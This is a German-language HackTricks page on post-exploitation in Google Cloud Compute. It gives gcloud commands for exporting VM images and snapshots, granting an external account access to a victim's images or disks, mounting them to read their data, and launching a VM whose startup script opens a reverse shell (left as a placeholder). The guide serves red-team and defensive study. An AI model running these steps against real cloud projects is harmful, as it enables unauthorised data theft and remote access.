GCP - Compute Post Exploitation

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Compute

Für weitere Informationen zu Compute und VPC (Netzwerke) siehe:

pageGCP - Compute Enum

Exportieren & Lokale Überprüfung von Images

Dies würde einem Angreifer ermöglichen, auf die Daten zuzugreifen, die sich bereits in vorhandenen Images befinden, oder neue Images von laufenden VMs zu erstellen und auf ihre Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.

Es ist möglich, ein VM-Image in einen Bucket zu exportieren und es dann herunterzuladen und lokal mit dem Befehl einzuhängen:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Vor der Durchführung dieser Aktion benötigt der Angreifer möglicherweise Berechtigungen über den Speicherbucket und sicherlich Berechtigungen über cloudbuild, da es sich um den Dienst handelt, der gebeten wird, den Export durchzuführen. Darüber hinaus benötigen der cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com und der compute SA privilegierte Berechtigungen.

Der cloudbuild SA benötigt:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

Und der SA <project-id>-compute@developer.gserviceaccount.com benötigt:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Snapshots & Disks lokal exportieren und überprüfen

Es ist nicht möglich, Snapshots und Disks direkt zu exportieren, aber es ist möglich, einen Snapshot in einen Disk, einen Disk in ein Image zu transformieren und gemäß dem vorherigen Abschnitt dieses Image zu exportieren, um es lokal zu überprüfen.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspektion eines Bildes zur Erstellung einer VM

Mit dem Ziel, auf die in einem Bild gespeicherten Daten oder innerhalb einer laufenden VM zuzugreifen, von der aus ein Angreifer ein Bild erstellt hat, ist es möglich, einem externen Konto Zugriff auf das Bild zu gewähren:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

und erstellen Sie dann eine neue VM daraus:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Wenn Sie Ihrem externen Konto keinen Zugriff auf das Image geben konnten, könnten Sie eine VM mithilfe dieses Images im Projekt des Opfers starten und die Metadaten so konfigurieren, dass ein Reverse-Shell ausgeführt wird, um auf das Image zuzugreifen, indem Sie den Parameter hinzufügen:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Überprüfen eines Snapshots/Datenträgers durch Anhängen an eine VM

Mit dem Ziel, auf die in einem Datenträger oder einem Snapshot gespeicherten Daten zuzugreifen, könnten Sie den Snapshot in einen Datenträger umwandeln, einen Datenträger in ein Image umwandeln und die vorherigen Schritte befolgen.

Oder Sie könnten einem externen Konto Zugriff gewähren auf den Datenträger (wenn der Ausgangspunkt ein Snapshot ist, gewähren Sie Zugriff auf den Snapshot oder erstellen Sie einen Datenträger daraus):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Fügen Sie die Festplatte einer Instanz hinzu:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montieren Sie die Festplatte innerhalb der VM:

  1. SSH in die VM:

gcloud compute ssh [INSTANZ_NAME] --zone [ZONE]
  1. Identifizieren Sie die Festplatte: Sobald Sie sich in der VM befinden, identifizieren Sie die neue Festplatte, indem Sie die Festplattengeräte auflisten. Normalerweise finden Sie sie als /dev/sdb, /dev/sdc, usw.

  2. Formatieren und Mounten Sie die Festplatte (wenn es sich um eine neue oder Rohfestplatte handelt):

  • Erstellen Sie einen Mount-Punkt:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Mounten Sie die Festplatte:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Wenn Sie keinem externen Projekt Zugriff auf den Snapshot oder die Festplatte geben können, müssen Sie möglicherweise diese Aktionen innerhalb einer Instanz im selben Projekt wie der Snapshot/Festplatte durchführen.

Last updated